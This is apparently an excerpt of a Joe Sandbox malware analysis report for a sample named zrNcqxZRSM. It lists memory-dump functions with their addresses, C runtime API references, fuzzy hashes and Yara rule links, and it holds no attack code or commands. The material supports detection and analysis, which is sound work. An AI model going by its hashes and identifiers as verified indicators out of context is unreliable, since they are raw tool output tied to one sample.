Opcode Fuzzy Hash: ee683bbe9d487b92e5c36c81549360681c6c2db3c5847bc27a7a00e3c8552477
Instruction Fuzzy Hash: 0A51B272709A5486CB24DB15E04432EB761F789BC8F589526EF9D17B19CB3CD982CB04

Function 00C53560 Relevance: .1, Instructions: 135COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3405945385.0000000000C31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.3405906988.0000000000C30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406078049.0000000000CED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406245662.0000000000DDB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406302269.0000000000DDD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406321774.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406340165.0000000000DEF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000DF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E09000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E37000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406420007.0000000000E3B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406474112.0000000000E42000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406492210.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_zrNcqxZRSM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66da5cc7e936ffdaced3431e52c9c78ad084e2c2a769926faec5081e85c1edf5
Instruction ID: 47dc4a964ec9b70736d184babcf291873342803a8323f0ae8b54b9862a3984c0
Opcode Fuzzy Hash: 66da5cc7e936ffdaced3431e52c9c78ad084e2c2a769926faec5081e85c1edf5
Instruction Fuzzy Hash: 2851E4B6605BC486CA05CB35E44432AB362F749BE0F188725EE6E23795EF39C1D58704

Function 00C4F120 Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3405945385.0000000000C31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.3405906988.0000000000C30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406078049.0000000000CED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406245662.0000000000DDB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406302269.0000000000DDD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406321774.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406340165.0000000000DEF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000DF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E09000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E37000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406420007.0000000000E3B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406474112.0000000000E42000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406492210.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_zrNcqxZRSM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b080f38bdc9eecf3c8e742e57284661e4149d167cf7e71f0b141b31610e3073
Instruction ID: c3f1c72d7bfcfbf2a6ac4d904b0aa5d786a2e20eea443275c43e61b32f6a1120
Opcode Fuzzy Hash: 0b080f38bdc9eecf3c8e742e57284661e4149d167cf7e71f0b141b31610e3073
Instruction Fuzzy Hash: 5731F8E1A1FE4886DD17DB7AD46132492167F93BE0F54DB32583B771E9DB1981439200

Function 00C5CD80 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3405945385.0000000000C31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.3405906988.0000000000C30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406078049.0000000000CED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406245662.0000000000DDB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406302269.0000000000DDD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406321774.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406340165.0000000000DEF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000DF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E09000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E37000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406420007.0000000000E3B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406474112.0000000000E42000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406492210.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_zrNcqxZRSM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2d3871379ef4234a58a4aca6178531caa16d61f67b9b99e0eef8b4734e8d601
Instruction ID: 0e589ec3af5fd60b607df1996b9f5e17f86dab06f31fec962cbccb616759c376
Opcode Fuzzy Hash: c2d3871379ef4234a58a4aca6178531caa16d61f67b9b99e0eef8b4734e8d601
Instruction Fuzzy Hash: EE31EBBA312B844ADF94CB325654A89636BF79CBC4B159275DF0C93724EF35D4A5C300

Function 00C3D540 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3405945385.0000000000C31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.3405906988.0000000000C30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406078049.0000000000CED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406245662.0000000000DDB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406302269.0000000000DDD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406321774.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406340165.0000000000DEF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000DF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E09000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E37000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406420007.0000000000E3B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406474112.0000000000E42000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406492210.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_zrNcqxZRSM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7b0d01a4859bbed740a0374e665c232f3b00eaf9f985a4c41db1f6f6ba8c3dc
Instruction ID: b737900dc01f2a3451930fe086afb10c734029efb97ad2d9aa9a7d4a286dabe8
Opcode Fuzzy Hash: c7b0d01a4859bbed740a0374e665c232f3b00eaf9f985a4c41db1f6f6ba8c3dc
Instruction Fuzzy Hash: DA11EEE2A36F480FDA47C77A6551311821B5FD6BD0F28D323BD2BB6796EB2590D38100

Function 00C9D540 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3405945385.0000000000C31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.3405906988.0000000000C30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406078049.0000000000CED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406245662.0000000000DDB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406302269.0000000000DDD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406321774.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406340165.0000000000DEF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000DF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E09000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E37000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406420007.0000000000E3B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406474112.0000000000E42000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406492210.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_zrNcqxZRSM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 196c4c781214ee2e10f2b0b6aadfc15eedefa529ca211e4040a9ba3ddf246d5d
Instruction ID: e927e1053cdcbea54fee9bbf021a5970591a6a0e19076103590d7747620dc44e
Opcode Fuzzy Hash: 196c4c781214ee2e10f2b0b6aadfc15eedefa529ca211e4040a9ba3ddf246d5d
Instruction Fuzzy Hash: EBC08CE090AAC118FF208304A1083147A928B84388D928080929910218962C83809708

Function 00C9A421 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3405945385.0000000000C31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.3405906988.0000000000C30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406078049.0000000000CED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406245662.0000000000DDB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406302269.0000000000DDD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406321774.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406340165.0000000000DEF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000DF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E09000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E37000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406420007.0000000000E3B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406474112.0000000000E42000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406492210.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_zrNcqxZRSM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9f3c9a1aa855c34089597b6cc411412f5bb205e0990c54a028aa6a32a442725
Instruction ID: 1617d3ce7ceba490bb3341a613222eadcb8cffe37104aa26d544a42fd88dcf39
Opcode Fuzzy Hash: a9f3c9a1aa855c34089597b6cc411412f5bb205e0990c54a028aa6a32a442725
Instruction Fuzzy Hash: CFA0025738F6F2198612D23C694C1991B14408353869E839A56AC0B1D3C61851D2C152

Function 000001A2671E16BC Relevance: 16.6, APIs: 11, Instructions: 108COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 000001A2671E16EE

Part of subcall function 000001A2671DC50C: _getptd_noexit.LIBCMT ref: 000001A2671DC510

__doserrno.LIBCMT ref: 000001A2671E16E5

Part of subcall function 000001A2671DC49C: _getptd_noexit.LIBCMT ref: 000001A2671DC4A0

__doserrno.LIBCMT ref: 000001A2671E174B
_errno.LIBCMT ref: 000001A2671E1752
_invalid_parameter_noinfo.LIBCMT ref: 000001A2671E17B6

Memory Dump Source

Source File: 00000000.00000002.3409364976.000001A2671C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A2671C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a2671c0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: __doserrno_errno_getptd_noexit$_invalid_parameter_noinfo
String ID:
API String ID: 388111225-0
Opcode ID: 0ccd71654eb11cd8fddf00b100999e03ab9b45ac2b4e4ea777321b1daad30140
Instruction ID: 4124d7e06fed07132c12898ad71c93ec229e457a0606d9d6f841069764a00030
Opcode Fuzzy Hash: 0ccd71654eb11cd8fddf00b100999e03ab9b45ac2b4e4ea777321b1daad30140
Instruction Fuzzy Hash: 1A31E23170B7044EE7146F6CA8463F93790EB43320F150BAAEC1A872D3FAB09C415A93

Function 000001A266DE0B03 Relevance: 16.6, APIs: 11, Instructions: 108COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 000001A266DE0B35

Part of subcall function 000001A266DDB953: _getptd_noexit.LIBCMT ref: 000001A266DDB957

__doserrno.LIBCMT ref: 000001A266DE0B2C

Part of subcall function 000001A266DDB8E3: _getptd_noexit.LIBCMT ref: 000001A266DDB8E7

__doserrno.LIBCMT ref: 000001A266DE0B92
_errno.LIBCMT ref: 000001A266DE0B99
_invalid_parameter_noinfo.LIBCMT ref: 000001A266DE0BFD

Memory Dump Source

Source File: 00000000.00000002.3409236481.000001A266DC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A266DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a266dc0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: __doserrno_errno_getptd_noexit$_invalid_parameter_noinfo
String ID:
API String ID: 388111225-0
Opcode ID: 0ccd71654eb11cd8fddf00b100999e03ab9b45ac2b4e4ea777321b1daad30140
Instruction ID: 89205b1822ee3dde94f5db97a595df2ec6838d9ed2f6afc02533307e2e7928f1
Opcode Fuzzy Hash: 0ccd71654eb11cd8fddf00b100999e03ab9b45ac2b4e4ea777321b1daad30140
Instruction Fuzzy Hash: F4319070B0B6494EE32D7FAC88967AD36D0EB47364F114699E85A872D3DA70D81283D3

Function 000001A2671E24A8 Relevance: 15.1, APIs: 10, Instructions: 93COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 000001A2671E24D3

Part of subcall function 000001A2671DC50C: _getptd_noexit.LIBCMT ref: 000001A2671DC510

__doserrno.LIBCMT ref: 000001A2671E24CB

Part of subcall function 000001A2671DC49C: _getptd_noexit.LIBCMT ref: 000001A2671DC4A0

__lock_fhandle.LIBCMT ref: 000001A2671E2517
_lseeki64_nolock.LIBCMT ref: 000001A2671E2530
_unlock_fhandle.LIBCMT ref: 000001A2671E2553

Memory Dump Source

Source File: 00000000.00000002.3409364976.000001A2671C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A2671C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a2671c0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: _getptd_noexit$__doserrno__lock_fhandle_errno_lseeki64_nolock_unlock_fhandle
String ID:
API String ID: 2644381645-0
Opcode ID: 376ccec3fe259f6ac6d9e63f1c203e0195dd7c1fae572ab8a20f1016e61f047a
Instruction ID: d5b238a370c4ec639279f723be7514795c99975f8138f3efbeed6b4ed90046f8
Opcode Fuzzy Hash: 376ccec3fe259f6ac6d9e63f1c203e0195dd7c1fae572ab8a20f1016e61f047a
Instruction Fuzzy Hash: 1E21F63171BA014EF718AB5CB8623F872E0EB87321F5506CAE81DC71D3F6B058014AA7

Function 000001A266DE18EF Relevance: 15.1, APIs: 10, Instructions: 93COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 000001A266DE191A

Part of subcall function 000001A266DDB953: _getptd_noexit.LIBCMT ref: 000001A266DDB957

__doserrno.LIBCMT ref: 000001A266DE1912

Part of subcall function 000001A266DDB8E3: _getptd_noexit.LIBCMT ref: 000001A266DDB8E7

__lock_fhandle.LIBCMT ref: 000001A266DE195E
_lseeki64_nolock.LIBCMT ref: 000001A266DE1977
_unlock_fhandle.LIBCMT ref: 000001A266DE199A

Memory Dump Source

Source File: 00000000.00000002.3409236481.000001A266DC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A266DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a266dc0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: _getptd_noexit$__doserrno__lock_fhandle_errno_lseeki64_nolock_unlock_fhandle
String ID:
API String ID: 2644381645-0
Opcode ID: 376ccec3fe259f6ac6d9e63f1c203e0195dd7c1fae572ab8a20f1016e61f047a
Instruction ID: f4afba59331582f71b6d73a58d5c3f5996769df7274cc454331dadc2d891e79d
Opcode Fuzzy Hash: 376ccec3fe259f6ac6d9e63f1c203e0195dd7c1fae572ab8a20f1016e61f047a
Instruction Fuzzy Hash: 4321B17171BA044EE22D7B9C9C427FD72D0EB87321F550699E86E871D3D674980182A7

Function 000001A2671E2330 Relevance: 15.1, APIs: 10, Instructions: 89COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 000001A2671E235B

Part of subcall function 000001A2671DC50C: _getptd_noexit.LIBCMT ref: 000001A2671DC510

__doserrno.LIBCMT ref: 000001A2671E2353

Part of subcall function 000001A2671DC49C: _getptd_noexit.LIBCMT ref: 000001A2671DC4A0

__lock_fhandle.LIBCMT ref: 000001A2671E239F
_lseek_nolock.LIBCMT ref: 000001A2671E23B8
_unlock_fhandle.LIBCMT ref: 000001A2671E23D9

Memory Dump Source

Source File: 00000000.00000002.3409364976.000001A2671C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A2671C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a2671c0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: _getptd_noexit$__doserrno__lock_fhandle_errno_lseek_nolock_unlock_fhandle
String ID:
API String ID: 1078912150-0
Opcode ID: 61da0fb447dae84d2bad137da6100fddbfc533adce121c8a99304c1ee16fac14
Instruction ID: e57aabf09c61a6f971ea56601808c13ae54b0ba9a91ca2b5da2486ac6e71c0e6
Opcode Fuzzy Hash: 61da0fb447dae84d2bad137da6100fddbfc533adce121c8a99304c1ee16fac14
Instruction Fuzzy Hash: F121D33170BA014EF719AB1CB8963F83690EB8B321F150A9AE85E871D3F6B458414A97

Function 000001A266DE1777 Relevance: 15.1, APIs: 10, Instructions: 89COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 000001A266DE17A2

Part of subcall function 000001A266DDB953: _getptd_noexit.LIBCMT ref: 000001A266DDB957

__doserrno.LIBCMT ref: 000001A266DE179A

Part of subcall function 000001A266DDB8E3: _getptd_noexit.LIBCMT ref: 000001A266DDB8E7

__lock_fhandle.LIBCMT ref: 000001A266DE17E6
_lseek_nolock.LIBCMT ref: 000001A266DE17FF
_unlock_fhandle.LIBCMT ref: 000001A266DE1820

Memory Dump Source

Source File: 00000000.00000002.3409236481.000001A266DC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A266DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a266dc0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: _getptd_noexit$__doserrno__lock_fhandle_errno_lseek_nolock_unlock_fhandle
String ID:
API String ID: 1078912150-0
Opcode ID: 61da0fb447dae84d2bad137da6100fddbfc533adce121c8a99304c1ee16fac14
Instruction ID: e1faf85f18164a7281177bfbf5ba6ec01aa0f86bb2949a3e5c889b80dd827d5e
Opcode Fuzzy Hash: 61da0fb447dae84d2bad137da6100fddbfc533adce121c8a99304c1ee16fac14
Instruction Fuzzy Hash: 5121BF31B0B6405EE32D7B9CDC927E832D4EB87325F150699E85E871D3D6B498418293

Function 000001A2671EA820 Relevance: 13.7, APIs: 9, Instructions: 177COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000001A2671EA846
_errno.LIBCMT ref: 000001A2671EA83B

Part of subcall function 000001A2671DC50C: _getptd_noexit.LIBCMT ref: 000001A2671DC510

Memory Dump Source

Source File: 00000000.00000002.3409364976.000001A2671C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A2671C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a2671c0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: _errno_getptd_noexit_invalid_parameter_noinfo
String ID:
API String ID: 1812809483-0
Opcode ID: 64f988dc03d0559fc4ca08ff0069cbc03d1db3cabf9f232b72eeec84663937c0
Instruction ID: 1dc9f1fce155d75817de7328f1a31e7eff5d30fd6493984f770bd949a758487b
Opcode Fuzzy Hash: 64f988dc03d0559fc4ca08ff0069cbc03d1db3cabf9f232b72eeec84663937c0
Instruction Fuzzy Hash: EA510530717A1A4AEB64AB1CA8427F572E0EB56321F9406ABEC5DC71D5F6B4C84287C3

Function 000001A2671E0CD4 Relevance: 13.6, APIs: 9, Instructions: 89COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 000001A2671E0CFF

Part of subcall function 000001A2671DC50C: _getptd_noexit.LIBCMT ref: 000001A2671DC510

__doserrno.LIBCMT ref: 000001A2671E0CF7

Part of subcall function 000001A2671DC49C: _getptd_noexit.LIBCMT ref: 000001A2671DC4A0

__lock_fhandle.LIBCMT ref: 000001A2671E0D43
_unlock_fhandle.LIBCMT ref: 000001A2671E0D7D

Memory Dump Source

Source File: 00000000.00000002.3409364976.000001A2671C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A2671C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a2671c0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: _getptd_noexit$__doserrno__lock_fhandle_errno_unlock_fhandle
String ID:
API String ID: 2464146582-0
Opcode ID: bccb9b96f18017aab79271f618c9acd586ecd3f4472c55d1f3c3a0fb010f5499
Instruction ID: 33ba6df628d435b443457a86052e23feb20966b4d01d46509986fb37a58c42cb
Opcode Fuzzy Hash: bccb9b96f18017aab79271f618c9acd586ecd3f4472c55d1f3c3a0fb010f5499
Instruction Fuzzy Hash: 3F21B43171B6004EE7156B5CB8463F97691EB87331F250A8AE81D871D3FAB4E8414BA7

Function 000001A266DE011B Relevance: 13.6, APIs: 9, Instructions: 89COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 000001A266DE0146

Part of subcall function 000001A266DDB953: _getptd_noexit.LIBCMT ref: 000001A266DDB957

__doserrno.LIBCMT ref: 000001A266DE013E

Part of subcall function 000001A266DDB8E3: _getptd_noexit.LIBCMT ref: 000001A266DDB8E7

__lock_fhandle.LIBCMT ref: 000001A266DE018A
_unlock_fhandle.LIBCMT ref: 000001A266DE01C4

Memory Dump Source

Source File: 00000000.00000002.3409236481.000001A266DC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A266DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a266dc0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: _getptd_noexit$__doserrno__lock_fhandle_errno_unlock_fhandle
String ID:
API String ID: 2464146582-0
Opcode ID: bccb9b96f18017aab79271f618c9acd586ecd3f4472c55d1f3c3a0fb010f5499
Instruction ID: 022e164d1cfa2ac0b79bffb7bc06a710030babed9964b4b41e0e31fd1005cd01
Opcode Fuzzy Hash: bccb9b96f18017aab79271f618c9acd586ecd3f4472c55d1f3c3a0fb010f5499
Instruction Fuzzy Hash: EB21BF3070B6004EE32D7BDC98927EC72D0EB87364F150699E85E8B1D3CAB4D81182E3

Function 000001A2671E04F8 Relevance: 13.6, APIs: 9, Instructions: 71COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 000001A2671E0519

Part of subcall function 000001A2671DC50C: _getptd_noexit.LIBCMT ref: 000001A2671DC510

__doserrno.LIBCMT ref: 000001A2671E0511

Part of subcall function 000001A2671DC49C: _getptd_noexit.LIBCMT ref: 000001A2671DC4A0

__lock_fhandle.LIBCMT ref: 000001A2671E055D
_close_nolock.LIBCMT ref: 000001A2671E0570
_unlock_fhandle.LIBCMT ref: 000001A2671E0589

Memory Dump Source

Source File: 00000000.00000002.3409364976.000001A2671C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A2671C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a2671c0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: _getptd_noexit$__doserrno__lock_fhandle_close_nolock_errno_unlock_fhandle
String ID:
API String ID: 2140805544-0
Opcode ID: 729986083aceea4ec0fe0535ae0f718e13fd582f97614698385fced8b688c1b7
Instruction ID: eed19433282441eb66444dd51eb65896226aa29482739a3daa93f7a81b603bb7
Opcode Fuzzy Hash: 729986083aceea4ec0fe0535ae0f718e13fd582f97614698385fced8b688c1b7
Instruction Fuzzy Hash: BB21D831717A044EE7146F6CA8553E876A0EF47321F650ADEE81E871D3FAB498404B97

Function 000001A266DDF93F Relevance: 13.6, APIs: 9, Instructions: 71COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 000001A266DDF960

Part of subcall function 000001A266DDB953: _getptd_noexit.LIBCMT ref: 000001A266DDB957

__doserrno.LIBCMT ref: 000001A266DDF958

Part of subcall function 000001A266DDB8E3: _getptd_noexit.LIBCMT ref: 000001A266DDB8E7

__lock_fhandle.LIBCMT ref: 000001A266DDF9A4
_close_nolock.LIBCMT ref: 000001A266DDF9B7
_unlock_fhandle.LIBCMT ref: 000001A266DDF9D0

Memory Dump Source

Source File: 00000000.00000002.3409236481.000001A266DC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A266DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a266dc0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: _getptd_noexit$__doserrno__lock_fhandle_close_nolock_errno_unlock_fhandle
String ID:
API String ID: 2140805544-0
Opcode ID: 729986083aceea4ec0fe0535ae0f718e13fd582f97614698385fced8b688c1b7
Instruction ID: 97c6615440c9f17c371aed080b9469c71219e7d396f89e0c3b231ae670be37b8
Opcode Fuzzy Hash: 729986083aceea4ec0fe0535ae0f718e13fd582f97614698385fced8b688c1b7
Instruction Fuzzy Hash: 2021AE31A0BA455EE33D7FAC88917EC6690EB83325F210659E85E871E3C6B4D8408792

Function 000001A2671DAADC Relevance: 12.6, APIs: 10, Instructions: 116COMMONLIBRARYCODE

Download Yara Rule

APIs

free.LIBCMT ref: 000001A2671DAB0A

Part of subcall function 000001A2671D9DB0: RtlFreeHeap.NTDLL ref: 000001A2671D9DC6
Part of subcall function 000001A2671D9DB0: _errno.LIBCMT ref: 000001A2671D9DD0

free.LIBCMT ref: 000001A2671DAB1F
free.LIBCMT ref: 000001A2671DAB40
free.LIBCMT ref: 000001A2671DAB55
free.LIBCMT ref: 000001A2671DAB69
free.LIBCMT ref: 000001A2671DAB75
free.LIBCMT ref: 000001A2671DABA0
free.LIBCMT ref: 000001A2671DABC1
free.LIBCMT ref: 000001A2671DABDA
free.LIBCMT ref: 000001A2671DAC0B

Memory Dump Source

Source File: 00000000.00000002.3409364976.000001A2671C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A2671C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a2671c0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: free$FreeHeap_errno
String ID:
API String ID: 2737118440-0
Opcode ID: ffa44ddbf60328ce65fabe18aef46d9469618c8337c5389c4653648df4a92024
Instruction ID: 319a752138a0c9b21db5fae8b59be13ca6872a01c21f01136dc0a3971b10cb20
Opcode Fuzzy Hash: ffa44ddbf60328ce65fabe18aef46d9469618c8337c5389c4653648df4a92024
